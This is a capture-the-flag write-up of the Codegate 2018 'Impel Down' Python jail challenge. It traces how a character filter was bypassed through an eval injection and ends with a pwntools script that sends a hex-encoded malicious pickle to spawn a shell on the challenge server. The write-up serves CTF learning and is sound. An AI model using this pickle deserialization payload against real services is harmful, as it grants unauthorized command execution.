For this challenge we were given an address and port to connect to, but little other information. Upon connecting, we received the following:

                    __
          PyJail   /__\
       ____________|  |
       |_|_|_|_|_|_|  |
       |_|_|_|_|_|_|__|
      A@\|_|_|_|_|_|/@@Aa
   aaA@@@@@@@@@@@@@@@@@@@aaaA
  A@@@@@@@@@@@@@@@@@@@@@@@@@@A
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[!] Rule
1. After 3 day, the Light will be Turned Off then you Cannot see anything.
2. Cannot Use Some Special Characters in PyJail.
3. For 10 days, You can enter 38 characters per day.

Can You Escape from Here ??

 Name : [day-1]
################## Work List ##################
  coworker        : Find Coworker For Escape
  tool            : Find Any Tool
  dig             : Go Deep~
  bomb            : make boooooooomb!!!
###############################################

 

The initial (frustrating) goal was to determine what the heck the point of these commands were, as we really were not given much to go on. For example:

 

[day-1] 
################## Work List ##################
  coworker        : Find Coworker For Escape
  tool            : Find Any Tool
  dig             : Go Deep~
  bomb            : make boooooooomb!!!
###############################################
tool
 test : [Tool] Find : drill !
~~~~~~

################## Work List ##################
  coworker        : Find Coworker For Escape
  tool            : Find Any Tool
  dig             : Go Deep~
  bomb            : make boooooooomb!!!
###############################################
coworker
 test : [Coworker] Find : Crocodile !
~~~~~~

[day-1]
################## Work List ##################
  coworker        : Find Coworker For Escape
  tool            : Find Any Tool
  dig             : Go Deep~
  bomb            : make boooooooomb!!!
###############################################
dig
 test : [Dig] depth = 1
~~~~~~

[day-1]
################## Work List ##################
  coworker        : Find Coworker For Escape
  tool            : Find Any Tool
  dig             : Go Deep~
  bomb            : make boooooooomb!!!
###############################################
bomb
 test : [Bomb] bomb Perfection = 1

 

At this point, I just started throwing random data at it. I accidentally stumbled on to input that was causing it to error by extending a character in the command.

 

bombb
Traceback (most recent call last):
  File "./Impel_Down.py", line 139, in <module>
    result = eval("your."+work+"()")
  File "<string>", line 1, in <module>
AttributeError: Esacpe_Player instance has no attribute 'bombb'

 

Now we're getting somewhere. So our input is going into an eval statement. Maybe I can put anything in there...

 

test
Invalid Work !!

 

Hmm. No. But my happy accident above started with one of the valid options, so my assumption at this point was that it was doing some sort of "startswith" check. Thinking back on previous pyjail escapes, often times they made use of sub classes inside base classes to drill your way out. We have a valid class (for instance, "dig"), we should be able to use subclasses to a function on that to find out way to execution.

 

dig.func_code 
Found unavailable Character !!

 

There's a new error. So the python script doesn't like a character. My guess is it is either the dot or the underscore. Trying the underscore first...

 

dig.funccode
Traceback (most recent call last):
  File "./Impel_Down.py", line 139, in <module>
    result = eval("your."+work+"()")
  File "<string>", line 1, in <module>
AttributeError: 'function' object has no attribute 'funccode'

 

I'm going to take that as success. So it doesn't like underscore... That's a bummer, but obviously not the end of the challenge. I methodically tried to determine what characters were not allowed. For this, I just added a character into the execution. If I got the "unavailable character" error, then I consider it banned. If I got anything else, I considered it available. I came up with the following list of characters that were not allowed.

 

['+', '_', '-', '#']

 

I actually missed one in my first try. As it turns out, double quote is also banned, but single quote is fine. I had been using single quotes anyway, so I didn't catch that.

 

So now we know the following:

  1. Our code will end up between "your." and "()" inside an eval statement in python
  2. There are a list of characters we cannot use
  3. Our code must start with a valid function
  4. We have a max of 38 characters to work with

 

Given we can't use underscore, I didn't see a great class traversal route to execution here. The best option seemed to be extending execution. Since we're in eval, we have to work with expressions rather than statements (like exec). This means we can't set things like "x = 1". However, there is a way to use an expression to set values. One method is to use the expression "setattr". However, the syntax for setting a variable in that way was simply too long (remember the 38 char limit).

 

There's another issue to tackle first. How do we put our code inside there in a way that will get executed? I tried a bunch of different ways, but the method I ended up with is using the logical "and/or" operator. For instance:

 

dig or len('AB') or
Traceback (most recent call last):
  File "./Impel_Down.py", line 140, in <module>
    watcher.Behavior_analysis(result)
  File "./Impel_Down.py", line 66, in Behavior_analysis
    player_info = pickle.loads(Player)
  File "/usr/lib/python2.7/pickle.py", line 1387, in loads
    file = StringIO(str)
TypeError: StringIO() argument 1 must be string or buffer, not instancemethod

 

What is actually happening in that expression is we end up with the following:

 

result = eval("your.dig or len('AB') or ()")

 

The function "your.dig" will return a non-true value, so python will move on to the next part of the statement due to the "or". The second part of our statement, the "len('AB')" will return a True value, and so the final part of the expression will not be executed. This allows us to chain in our own calls in the middle of their eval statement.

 

Going back to the actual run of this, we got a StringIO error back. If you look up a level, it's actually coming from "pickle.loads(Player)". My initial thought was, that's strange.. Why would my change end up inside a pickle? For those unaware, the pickle function allows object serialization and deserialization in python. Meaning, you often would pickle some python class prior to saving or transmitting it. However, pickle suffers from a class of attack called object deserialization attack. This means, if you can control input to pickle, you can possibly gain execution.

 

Actually, while many languages suffer from this (php, java, etc), python pickle deserialization of untrusted data is very serious and easy to exploit. We will get to that in a minute. However, I messed around with random input for a while until I found the following happening.

 

dig and 1 or 
Traceback (most recent call last):
  File "./Impel_Down.py", line 140, in <module>
    watcher.Behavior_analysis(result)
  File "./Impel_Down.py", line 66, in Behavior_analysis
    player_info = pickle.loads(Player)
  File "/usr/lib/python2.7/pickle.py", line 1387, in loads
    file = StringIO(str)
TypeError: StringIO() argument 1 must be string or buffer, not int

 

So it's claiming that it's trying to unpickle an int... The only thing I've changed is that I put an int there in the middle of my statement. Is it possible what's in the middle is being passed to unpickle? To test this, we need to pickle something and put it there. In python, if you want to create a pickle object, it's pretty simple.

 

import pickle

def test():
    pass

print(repr(pickle.dumps(test)))
# Outputs: 'c__main__\ntest\np0\n.'

 

However, the issue here is that there are newlines in most pickles. The "__main__" (remember _ is not allowed here) we could actually likely get rid of by pickling it under a different "__name__".  Also note, that's 19 characters already, without our or characters and without the function doing anything. We have that cap of 38, so this would be difficult to get anywhere useful.

 

After some more pondering, I realized that we do have the ability to place code into a location in this script. Specifically, we give it our name up front. Testing the size of this name input, I was able to get 1000 characters without it complaining, so it didn't appear there was any character limit there. However, to be able to use this, we would need to know where our input is. We do know that our object is called "your", so a reasonable programmer might just make an attribute in the object called "name" to hold the name, right?

 

dig and your.name or
Traceback (most recent call last):
  File "./Impel_Down.py", line 140, in <module>
    watcher.Behavior_analysis(result)
  File "./Impel_Down.py", line 66, in Behavior_analysis
    player_info = pickle.loads(Player)
  File "/usr/lib/python2.7/pickle.py", line 1388, in loads
    return Unpickler(file).load()
  File "/usr/lib/python2.7/pickle.py", line 864, in load
    dispatch[key](self)
  File "/usr/lib/python2.7/pickle.py", line 1034, in load_dict
    k = self.marker()
  File "/usr/lib/python2.7/pickle.py", line 880, in marker
    while stack[k] is not mark: k = k-1
IndexError: list index out of range

 

Bingo. Python is implicitly telling us that our guess was correct here. If it were wrong, python would have thrown an error, like the following:

 

dig and your.nam or
Traceback (most recent call last):
  File "./Impel_Down.py", line 139, in <module>
    result = eval("your."+work+"()")
  File "<string>", line 1, in <module>
AttributeError: Esacpe_Player instance has no attribute 'nam'

 

Now we have a way to shuttle in our pickle code, as well as a way to reference it. The final challenge is those underscores and other invalid/bad characters in our pickle. Again, more thinking here before realizing there's an easy built-in way for python to encode things. Python (2 in this case) has a method attached to strings to encode and decode as hex. Hex chars are obviously going to fall within the allowed characters, and are easy to translate between.

 

>>> "Hello_World!".encode('hex')
'48656c6c6f5f576f726c6421'
>>> "48656c6c6f5f576f726c6421".decode('hex')
'Hello_World!'

 

We now have everything we need. The game plan is to write a pickle deserialization attack to execute /bin/sh, encode it as hex and put it up as your name, then use your first command to execute it. The final execution line is:

 

dig and your.name.decode('hex') or 

 

That will grab your pickle code, decode it from hex, then return it to the pickle.loads command (specific to this program). The full code ended up being pretty short.

 

#!/usr/bin/env python

from pwn import *
import os
import pickle

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('/bin/bash',))

def connect():
    global p
    p = remote("ch41l3ng3s.codegate.kr",2014)
    p.recvuntil("Name :")

connect()

p.sendline(pickle.dumps(Exploit()).encode('hex'))
p.sendline("dig and your.name.decode('hex') or ")
p.interactive()

 

Small note, for some reason the flag was inside an executable file in the root directory. Not sure why they chose that:

 

-rwx--x---   1 root impel_down 8624 Feb  2 08:04 FLAG_FLAG_FLAG_LOLOLOLOLOLOL
./FLAG_FLAG_FLAG_LOLOLOLOLOLOL
  G00000000d !! :)
    I think you are familiar with Python !
      FLAG{Pyth0n J@il escape 1s always fun @nd exc1ting ! :)} 

 

I will say, I feel i did this a way they weren't intending. I don't know why we had all those options. I don't know why we had so many possible times to interact. I don't know why it "went dark" after 3 attempts. I only needed one small command.

 

While I had a shell, I went ahead and pulled the source code for this challenge. Note that we were not give this code (that would make it quite a bit easier).

 

My win script: https://github.com/bannsec/CTF/blob/master/2018/Codegate/misc/Impel%20Down/win.py

Impel Down Source: https://github.com/bannsec/CTF/blob/master/2018/Codegate/misc/Impel%20Down/Impel_Down.py